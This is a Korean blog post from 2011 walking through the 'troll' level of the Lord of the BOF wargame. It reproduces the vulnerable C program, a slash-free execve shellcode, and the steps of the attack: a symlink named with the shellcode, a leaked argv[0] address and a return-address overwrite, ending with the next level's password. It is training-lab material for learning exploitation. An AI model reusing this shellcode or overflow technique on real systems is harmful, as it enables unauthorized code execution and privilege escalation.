2011. 6. 4. 15:13

⊙ 문제의 소스를 보자)

[orge@localhost orge]$ cat troll.c

/*

The Lord of the BOF : The Fellowship of the BOF

- troll

- check argc + argv hunter

*/

   

#include <stdio.h>

#include <stdlib.h>

   

extern char **environ;

   

main(int argc, char *argv[])

{

char buffer[40];

int i;

   

// here is changed

if(argc != 2){

printf("argc must be two!\n");

exit(0);

}

   

// egghunter

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));

   

if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

   

// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// buffer hunter

memset(buffer, 0, 40);

   

// one more!

memset(argv[1], 0, strlen(argv[1]));

}


1) 인자의 개수는 2여야 함.

2) 환경변수(Environment) 초기화.

3) argv[1][47] == "\xbf"

4) argv[1]의 길이는 48보다 크면 안됨.

5) 버퍼초기화.

6) argv[1] 초기화.


   

♧ 인자의 개수가 2개를 만족해야 함으로 argv[0]과 argv[1]만이 사용가능.

♧ argv[1] 마저도 초기화 됨으로 결국

심볼릭링크(Symbolic link)를 이용하여 파일이름을 쉘코드로 변조하여 문제를 풀어야 한다.

※ 단, 쉘코드에 "\x2f"(/) 들어가면 "cannot create symbolic link" 라는 문구가 보일 것 이다.


   

(그래서 이전에 사용하던 쉘코드는 던져 버리고 "\x2f"가 없는 쉘코드로 대체해야 한다.)

▦ "\x2f"가 없는 쉘코드 ▦

"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"


 

   

∑ 익스 플로잇 작성!

① 사본을 만들어 마지막 행에 argv[0]의 주소값 출력문을 삽입.

[orge@localhost orge]$ sed '/argv\[1\]));/a\
printf("_____ [ %#x ] _____\\n", argv[0]);' troll.c > llort.c

② 컴파일후 임의의 값으로 실행.

[orge@localhost orge]$ gcc llort.c -o $(echo -en "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81")

[orge@localhost orge]$ ./$(echo -en "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81") $(python -c 'print "\xbf"*48')

옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜

_____ [ 0xbffffbcf ] _____

Segmentation fault (core dumped)

③ 사본 삭제후 원본에 심볼릭 링크.

[orge@localhost orge]$ rm $(echo -en "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81")

[orge@localhost orge]$ ln -s troll $(echo -en "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81")

④ 확인한 argv[0]값으로 RET 변경 후 익스플로잇 작성

./$(echo -en "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81") $(python -c 'print "\xcf\xfb\xff\xbf"*12')

⑤ 익스플로잇!


   

   

♣ 기타 사항

ⓐ GDB로 확인한 argv[0] 주소값 :: [ 0xbffffbee ]
ⓑ GDB로 확인한 argv[0] 주소값에 이름길이("/home/orge/./")를 더한값 :: [ 0xbffffbfb ]
ⓑ 실제 주소와 GDB로 확인한 주소값 차이 :: [ 44 ] = [ 0xbffffbfb ] -
[ 0xbffffbcf ]

※ 왜 44Byte의 차이가 나는지는 정확히 모름.

("이름길이나 buffer ~ RET 주소 전까지의 오프셋 길이의 차이가 아닐까?" 라고 혼자만의 추정중..-_;)


   

※ 사전에 chsh명령 -> bash2로 사전 변경후 재로그인 함.

   

orge : "timewalker"

Posted by devanix